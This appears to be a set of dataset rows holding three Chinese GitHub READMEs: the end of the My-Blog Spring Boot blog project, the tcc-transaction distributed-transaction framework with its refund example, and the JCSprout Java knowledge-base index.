- **技术栈新颖且知识点丰富,学习后可以提升大家对于知识的理解和掌握,对于提升你的市场竞争力有一定的帮助。**
> 更多 Spring Boot 实战项目可以关注十三的另一个代码仓库 [spring-boot-projects](https://github.com/ZHENFENG13/spring-boot-projects),该仓库中主要是 Spring Boot 的入门学习教程以及一些常用的 Spring Boot 实战项目教程,包括 Spring Boot 使用的各种示例代码,同时也包括一些实战项目的项目源码和效果展示,实战项目包括基本的 web 开发以及目前大家普遍使用的前后端分离实践项目等,后续会根据大家的反馈继续增加一些实战项目源码,摆脱各种 hello world 入门案例的束缚,真正的掌握 Spring Boot 开发。
关注公众号:**程序员十三**,回复"勾搭"进群交流。
![wx-gzh](https://newbee-mall.oss-cn-beijing.aliyuncs.com/wx-gzh/%E7%A8%8B%E5%BA%8F%E5%91%98%E5%8D%81%E4%B8%89-%E5%85%AC%E4%BC%97%E5%8F%B7.png)
## 注意事项
- **数据库文件目录为```static-files/my_blog_db.sql```;**
- **部署后你可以根据自己需求修改版权文案、logo 图片、备案记录等网站基础信息;**
- **My Blog 后台管理系统的默认登陆账号为 admin 默认登陆密码为 123456;**
- **layui 版本的 My-Blog,仓库地址 [My-Blog-layui](https://github.com/ZHENFENG13/My-Blog-layui) ,感兴趣的朋友也可以学习一下;**
- **My Blog 还有一些不完善的地方,鄙人才疏学浅,望见谅;**
- **有任何问题都可以反馈给我,我会尽量完善该项目。**
[![Build Status](https://travis-ci.org/ZHENFENG13/My-Blog.svg?branch=master)](https://travis-ci.org/ZHENFENG13/My-Blog)
![Version 4.0.0](https://img.shields.io/badge/version-4.0.0-yellow.svg)
[![License](https://img.shields.io/badge/license-apache-blue.svg)](https://github.com/ZHENFENG13/My-Blog/blob/master/LICENSE)
## 项目演示
- [视频1:My-Blog博客项目简介](https://edu.csdn.net/course/play/29029/406882)
- [视频2:My-Blog博客项目系统演示-1](https://edu.csdn.net/course/play/29029/405864)
- [视频3:My-Blog博客项目系统演示-2](https://edu.csdn.net/course/play/29029/405865)
- [视频4:博客项目预览](https://www.bilibili.com/video/av52551095)
## 开发文档
### 《SpringBoot + Mybatis + Thymeleaf 搭建美观实用的个人博客》(支付减免优惠券码 LSJdK3KT )
[![lesson-03](https://newbee-mall.oss-cn-beijing.aliyuncs.com/poster/store/lesson-03.png)](https://www.shiyanlou.com/courses/1367)
- [**第01课:Spring Boot 搭建简洁实用的个人博客系统导读**](https://www.shiyanlou.com/courses/1367)
- [第02课:快速构建 Spring Boot 应用](https://www.shiyanlou.com/courses/1367)
- [第03课:Spring Boot 项目开发之web项目开发讲解](https://www.shiyanlou.com/courses/1367)
- [第04课:Spring Boot 整合 Thymeleaf 模板引擎](https://www.shiyanlou.com/courses/1367)
- [第05课:Spring Boot 处理文件上传及路径回显](https://www.shiyanlou.com/courses)
- [第06课:Spring Boot 自动配置数据源及操作数据库](https://www.shiyanlou.com/courses/1367)
- [第07课:Spring Boot 整合 MyBatis 操作数据库](https://www.shiyanlou.com/courses/1367)
- [第08课:Mybatis-Generator 自动生成代码](https://www.shiyanlou.com/courses/1367)
- [第09课:Spring Boot 中的事务处理](https://www.shiyanlou.com/courses/1367)
- [第10课:Spring Boot 项目实践之 Ajax 技术使用教程](https://www.shiyanlou.com/courses/1367)
- [第11课:Spring Boot 项目实践之 RESTful API 设计与实现](https://www.shiyanlou.com/courses/1367)
- [第12课:Spring Boot 博客系统项目开发之分页功能实现](https://www.shiyanlou.com/courses/1367)
- [第13课:Spring Boot 博客系统项目开发之验证码功能](https://www.shiyanlou.com/courses/1367)
- [第14课:Spring Boot 博客系统项目开发之登录模块实现](https://www.shiyanlou.com/courses/1367)
- [第15课:Spring Boot 博客系统项目开发之登陆拦截器](https://www.shiyanlou.com/courses/1367)
- [第16课:Spring Boot 博客系统项目开发之分类功能实现](https://www.shiyanlou.com/courses/1367)
- [第17课:Spring Boot 博客系统项目开发之标签功能实现](https://www.shiyanlou.com/courses/1367)
- [第18课:Spring Boot 博客系统项目开发之文章编辑功能](https://www.shiyanlou.com/courses/1367)
- [第19课:Spring Boot 博客系统项目开发之文章编辑完善](https://www.shiyanlou.com/courses/1367)
- [第20课:Spring Boot 博客系统项目开发之文章模块实现](https://www.shiyanlou.com/courses/1367)
- [第21课:Spring Boot 博客系统项目开发之友链模块实现](https://www.shiyanlou.com/courses/1367)
- [第22课:Spring Boot 博客系统项目开发之网站首页制作](https://www.shiyanlou.com/courses/1367)
- [第23课:Spring Boot 博客系统项目开发之分页及侧边栏制作](https://www.shiyanlou.com/courses/1367)
- [第24课:Spring Boot 博客系统项目开发之搜索页面制作](https://www.shiyanlou.com/courses/1367)
- [第25课:Spring Boot 博客系统项目开发之文章详情页制作](https://www.shiyanlou.com/courses/1367)
- [第26课:Spring Boot 博客系统项目开发之错误页面制作](https://www.shiyanlou.com/courses/1367)
- [第27课:Spring Boot 博客系统项目开发之评论功能实现](https://www.shiyanlou.com/courses/1367)
- [第28课:Spring Boot 博客系统项目开发之项目打包部署](https://www.shiyanlou.com/courses/1367)
## 联系作者
> 大家有任何问题或者建议都可以在 [issues](https://github.com/ZHENFENG13/My-Blog/issues) 中反馈给我,我会慢慢完善这个项目。
- 我的邮箱:2449207463@qq.com
- QQ技术交流群:719099151 796794009 881582471
> My-Blog 在 GitHub 和国内的码云都创建了代码仓库,如果有人访问 GitHub 比较慢的话,建议在 Gitee 上查看该项目,两个仓库会保持同步更新。
- [My-Blog in GitHub](https://github.com/ZHENFENG13/My-Blog)
- [My-Blog in Gitee](https://gitee.com/zhenfeng13/My-Blog)
## 效果预览
### 后台管理页面
- 登录页
![login](static-files/login.png)
- 后台首页
![dashboard](static-files/dashboard.png)
- 文章管理
![blog-list](static-files/blog-list.png)
- 文章编辑
![edit](static-files/edit.png)
- 评论管理
![comment-list](static-files/comment-list.png)
- 系统配置
![config](static-files/config.png)
### 博客展示页面
开发时,在项目中**内置了三套博客主题模板,主题风格各有千秋**,效果如下:
#### 模板一
- 首页
![index01](static-files/index01.png)
- 文章浏览
![detail01](static-files/detail01.png)
- 友情链接
![link01](static-files/link01.png)
#### 模板二
- 首页
![index02](static-files/index02.png)
- 文章浏览
![detail02](static-files/detail02.png)
- 友情链接
![link02](static-files/link02.png)
#### 模板三
- 首页
![index03](static-files/index03.png)
- 文章浏览
![detail03](static-files/detail03.png)
- 友情链接
![link03](static-files/link03.png)
## 感谢
- [spring-projects](https://github.com/spring-projects/spring-boot)
- [ColorlibHQ](https://github.com/ColorlibHQ/AdminLTE)
- [tonytomov](https://github.com/tonytomov/jqGrid)
- [pandao](https://github.com/pandao/editor.md)
- [DONGChuan](https://github.com/DONGChuan/Yummy-Jekyll)
- [zjhch123](https://github.com/zjhch123/solo-skin-amaze)
- [t4t5](https://github.com/t4t5/sweetalert)
| 0 |
changmingxie/tcc-transaction | tcc-transaction是TCC型事务java实现 | 2015-12-05T04:27:53Z | null | # TCC-TRANSACTION
## TCC-TRANSACTION是什么
[TCC-TRANSACTION](https://changmingxie.github.io)是一款开源的微服务架构下的TCC型分布式事务解决方案,致力于提供高性能和简单易用的分布式事务服务。
- Try: 尝试执行业务,完成所有业务检查(一致性),预留必须业务资源(准隔离性)
- Confirm: 确认执行业务,不作任何业务检查,只使用Try阶段预留的业务资源,满足幂等性
- Cancel: 取消执行业务,释放Try阶段预留的业务资源,满足幂等性
## 微服务架构中分布式事务问题
随着传统的单体架的构微服务化,原本单体架构中不同模块,被拆分为若干个功能简单、松耦合的服务。
系统微服务化后,内部可能需要调用多个服务并操作多个数据库实现,服务调用的分布式事务问题变的非常突出。
比如支付退款场景需要从各分账方退回平台收益户(退分账),再退还给付款方。其中**退分账**阶段,
涉及从多个分账方(商家1收益户,商家2收益户,商家3收益户,平台手续费账户)扣款,这些账户分布在不同数据库,
比如商家3收益户扣款失败,其他成功扣款需要回滚,这里需要分布式事务保证一致性。
![支付退款流程](material/tcc_use_at_refund.jpg)
## 如何解决
如何解决上面**退分账**中分布式事务问题呢?
选择使用tcc-transaction框架,执行流程如下:
- Try:
商家1收益户->冻结分账金额
商家2收益户->冻结分账金额
商家3收益户->冻结分账金额
平台手续费->冻结手续费
- Try成功 => Confirm:
商家1收益户->扣除分账金额
商家2收益户->扣除分账金额
商家3收益户->扣除分账金额
平台手续费->扣除手续费
平台收益户-> 增加金额(总分账金额+手续费)
- Try失败 => Cancel:
商家1收益户->解冻分账金额
商家2收益户->解冻分账金额
商家3收益户->解冻分账金额
平台手续费->解冻手续费
## 工作原理
![TCC原理](material/tcc-invoke.webp)
第一阶段:主业务服务分别调用所有从业务的 try 操作,并在活动管理器中登记所有从业务服务。当所有从业务服务的 try 操作都调用成功或者某个从业务服务的 try 操作失败,进入第二阶段。
第二阶段:活动管理器根据第一阶段的执行结果来执行 confirm 或 cancel 操作。
如果第一阶段所有 try 操作都成功,则活动管理器调用所有从业务活动的 confirm操作。否则调用所有从业务服务的 cancel 操作。
需要注意的是第二阶段 confirm 或 cancel 操作本身也是满足最终一致性的过程,在调用 confirm 或 cancel 的时候也可能因为某种原因(比如网络)导致调用失败,所以需要活动管理支持重试的能力,同时这也就要求
confirm 和 cancel 操作具有幂等性。
## 快速开始
[官网](https://changmingxie.github.io)
[快速开始](https://changmingxie.github.io/zh-cn/docs/tutorial/quickstart.html)
[最新可用版本2.x](https://changmingxie.github.io/zh-cn/blog/tcc-transaction-2.x-release.html)
## 常见问题
[常见问题](https://changmingxie.github.io/zh-cn/docs/faq.html)
## 讨论群
钉钉扫码入群
![钉钉扫码入群](https://raw.githubusercontent.com/changmingxie/tcc-transaction/master-1.6.x/material/tcc-transaction-dingdingtalk.jpg)
| 0 |
crossoverJie/JCSprout | 👨🎓 Java Core Sprout : basic, concurrent, algorithm | 2017-12-17T09:06:50Z | null |
<div align="center">
<img src="https://ws1.sinaimg.cn/large/0069RVTdly1fubocn5pxaj30go082dg1.jpg" width=""/>
<br/>
[![Build Status](https://travis-ci.org/crossoverJie/JCSprout.svg?branch=master)](https://travis-ci.org/crossoverJie/JCSprout)
[![QQ群](https://img.shields.io/badge/QQ%E7%BE%A4-787381170-yellowgreen.svg)](https://jq.qq.com/?_wv=1027&k=5HPYvQk)
[qq0groupsvg]: https://img.shields.io/badge/QQ%E7%BE%A4-787381170-yellowgreen.svg
[qq0group]: https://jq.qq.com/?_wv=1027&k=5HPYvQk
</div><br>
> `Java Core Sprout`:处于萌芽阶段的 Java 核心知识库。
**访问这里获取更好的阅读体验**:[https://crossoverjie.top/JCSprout/](https://crossoverjie.top/JCSprout/)
<br/>
| 📊 |⚔️ | 🖥 | 🚏 | 🏖 | 🌁| 📮 | 🔍 | 🚀 | 🌈 |💡
| :--------: | :---------: | :---------: | :---------: | :---------: | :---------:| :---------: | :-------: | :-------:| :------:|:------:|
| [集合](#常用集合) | [多线程](#java-多线程)|[JVM](#jvm) | [分布式](#分布式相关) |[框架](#常用框架第三方组件)|[架构设计](#架构设计)| [数据库](#db-相关) |[算法](#数据结构与算法)|[Netty](#netty-相关)| [附加技能](#附加技能)|[联系作者](#联系作者) |
### 常用集合
- [ArrayList/Vector](https://github.com/crossoverJie/JCSprout/blob/master/MD/ArrayList.md)
- [LinkedList](https://github.com/crossoverJie/JCSprout/blob/master/MD/LinkedList.md)
- [HashMap](https://github.com/crossoverJie/JCSprout/blob/master/MD/HashMap.md)
- [HashSet](https://github.com/crossoverJie/JCSprout/blob/master/MD/collection/HashSet.md)
- [LinkedHashMap](https://github.com/crossoverJie/JCSprout/blob/master/MD/collection/LinkedHashMap.md)
### Java 多线程
- [多线程中的常见问题](https://github.com/crossoverJie/JCSprout/blob/master/MD/Thread-common-problem.md)
- [synchronized 关键字原理](https://github.com/crossoverJie/JCSprout/blob/master/MD/Synchronize.md)
- [多线程的三大核心](https://github.com/crossoverJie/JCSprout/blob/master/MD/Threadcore.md)
- [对锁的一些认知](https://github.com/crossoverJie/JCSprout/blob/master/MD/Java-lock.md)
- [ReentrantLock 实现原理 ](https://github.com/crossoverJie/JCSprout/blob/master/MD/ReentrantLock.md)
- [ConcurrentHashMap 的实现原理](https://github.com/crossoverJie/JCSprout/blob/master/MD/ConcurrentHashMap.md)
- [如何优雅的使用和理解线程池](https://github.com/crossoverJie/JCSprout/blob/master/MD/ThreadPoolExecutor.md)
- [深入理解线程通信](https://github.com/crossoverJie/JCSprout/blob/master/MD/concurrent/thread-communication.md)
- [一个线程罢工的诡异事件](docs/thread/thread-gone.md)
- [线程池中你不容错过的一些细节](docs/thread/thread-gone2.md)
- [『并发包入坑指北』之阻塞队列](docs/thread/ArrayBlockingQueue.md)
### JVM
- [Java 运行时内存划分](https://github.com/crossoverJie/JCSprout/blob/master/MD/MemoryAllocation.md)
- [类加载机制](https://github.com/crossoverJie/JCSprout/blob/master/MD/ClassLoad.md)
- [OOM 分析](https://github.com/crossoverJie/JCSprout/blob/master/MD/OOM-analysis.md)
- [垃圾回收](https://github.com/crossoverJie/JCSprout/blob/master/MD/GarbageCollection.md)
- [对象的创建与内存分配](https://github.com/crossoverJie/JCSprout/blob/master/MD/newObject.md)
- [你应该知道的 volatile 关键字](https://github.com/crossoverJie/JCSprout/blob/master/MD/concurrent/volatile.md)
- [一次内存溢出排查优化实战](https://crossoverjie.top/2018/08/29/java-senior/OOM-Disruptor/)
- [一次 HashSet 所引起的并发问题](docs/jvm/JVM-concurrent-HashSet-problem.md)
- [一次生产 CPU 100% 排查优化实践](docs/jvm/cpu-percent-100.md)
### 分布式相关
- [分布式限流](http://crossoverjie.top/2018/04/28/sbc/sbc7-Distributed-Limit/)
- [基于 Redis 的分布式锁](http://crossoverjie.top/2018/03/29/distributed-lock/distributed-lock-redis/)
- [分布式缓存设计](https://github.com/crossoverJie/JCSprout/blob/master/MD/Cache-design.md)
- [分布式 ID 生成器](https://github.com/crossoverJie/JCSprout/blob/master/MD/ID-generator.md)
### 常用框架\第三方组件
- [Spring Bean 生命周期](https://github.com/crossoverJie/JCSprout/blob/master/MD/spring/spring-bean-lifecycle.md)
- [Spring AOP 的实现原理](https://github.com/crossoverJie/JCSprout/blob/master/MD/SpringAOP.md)
- [Guava 源码分析(Cache 原理)](https://crossoverjie.top/2018/06/13/guava/guava-cache/)
- [轻量级 HTTP 框架](https://github.com/crossoverJie/cicada)
- [Kafka produce 源码分析](https://github.com/crossoverJie/JCSprout/blob/master/MD/kafka/kafka-product.md)
- [Kafka 消费实践](https://github.com/crossoverJie/JCSprout/blob/master/docs/frame/kafka-consumer.md)
### 架构设计
- [秒杀系统设计](https://github.com/crossoverJie/JCSprout/blob/master/MD/Spike.md)
- [秒杀架构实践](http://crossoverjie.top/2018/05/07/ssm/SSM18-seconds-kill/)
- [设计一个百万级的消息推送系统](https://github.com/crossoverJie/JCSprout/blob/master/MD/architecture-design/million-sms-push.md)
### DB 相关
- [MySQL 索引原理](https://github.com/crossoverJie/JCSprout/blob/master/MD/MySQL-Index.md)
- [SQL 优化](https://github.com/crossoverJie/JCSprout/blob/master/MD/SQL-optimization.md)
- [数据库水平垂直拆分](https://github.com/crossoverJie/JCSprout/blob/master/MD/DB-split.md)
- [一次分表踩坑实践的探讨](docs/db/sharding-db.md)
### 数据结构与算法
- [红包算法](https://github.com/crossoverJie/JCSprout/blob/master/src/main/java/com/crossoverjie/red/RedPacket.java)
- [二叉树层序遍历](https://github.com/crossoverJie/JCSprout/blob/master/src/main/java/com/crossoverjie/algorithm/BinaryNode.java#L76-L101)
- [是否为快乐数字](https://github.com/crossoverJie/JCSprout/blob/master/src/main/java/com/crossoverjie/algorithm/HappyNum.java#L38-L55)
- [链表是否有环](https://github.com/crossoverJie/JCSprout/blob/master/src/main/java/com/crossoverjie/algorithm/LinkLoop.java#L32-L59)
- [从一个数组中返回两个值相加等于目标值的下标](https://github.com/crossoverJie/JCSprout/blob/master/src/main/java/com/crossoverjie/algorithm/TwoSum.java#L38-L59)
- [一致性 Hash 算法原理](https://github.com/crossoverJie/JCSprout/blob/master/MD/Consistent-Hash.md)
- [一致性 Hash 算法实践](https://github.com/crossoverJie/JCSprout/blob/master/docs/algorithm/consistent-hash-implement.md)
- [限流算法](https://github.com/crossoverJie/JCSprout/blob/master/MD/Limiting.md)
- [三种方式反向打印单向链表](https://github.com/crossoverJie/JCSprout/blob/master/src/main/java/com/crossoverjie/algorithm/ReverseNode.java)
- [合并两个排好序的链表](https://github.com/crossoverJie/JCSprout/blob/master/src/main/java/com/crossoverjie/algorithm/MergeTwoSortedLists.java)
- [两个栈实现队列](https://github.com/crossoverJie/JCSprout/blob/master/src/main/java/com/crossoverjie/algorithm/TwoStackQueue.java)
- [动手实现一个 LRU cache](http://crossoverjie.top/2018/04/07/algorithm/LRU-cache/)
- [链表排序](./src/main/java/com/crossoverjie/algorithm/LinkedListMergeSort.java)
- [数组右移 k 次](./src/main/java/com/crossoverjie/algorithm/ArrayKShift.java)
- [交替打印奇偶数](https://github.com/crossoverJie/JCSprout/blob/master/src/main/java/com/crossoverjie/actual/TwoThread.java)
- [亿级数据中判断数据是否不存在](https://github.com/crossoverJie/JCSprout/blob/master/docs/algorithm/guava-bloom-filter.md)
### Netty 相关
- [SpringBoot 整合长连接心跳机制](https://crossoverjie.top/2018/05/24/netty/Netty(1)TCP-Heartbeat/)
- [从线程模型的角度看 Netty 为什么是高性能的?](https://crossoverjie.top/2018/07/04/netty/Netty(2)Thread-model/)
- [为自己搭建一个分布式 IM(即时通讯) 系统](https://github.com/crossoverJie/cim)
### 附加技能
- [TCP/IP 协议](https://github.com/crossoverJie/JCSprout/blob/master/MD/TCP-IP.md)
- [一个学渣的阿里之路](https://crossoverjie.top/2018/06/21/personal/Interview-experience/)
- [如何成为一位「不那么差」的程序员](https://crossoverjie.top/2018/08/12/personal/how-to-be-developer/)
- [如何高效的使用 Git](https://github.com/crossoverJie/JCSprout/blob/master/MD/additional-skills/how-to-use-git-efficiently.md)
### 联系作者
> crossoverJie#gmail.com
![index.jpg](https://i.loli.net/2021/10/12/ckQW9LYXSxFogJZ.jpg)
| 0 |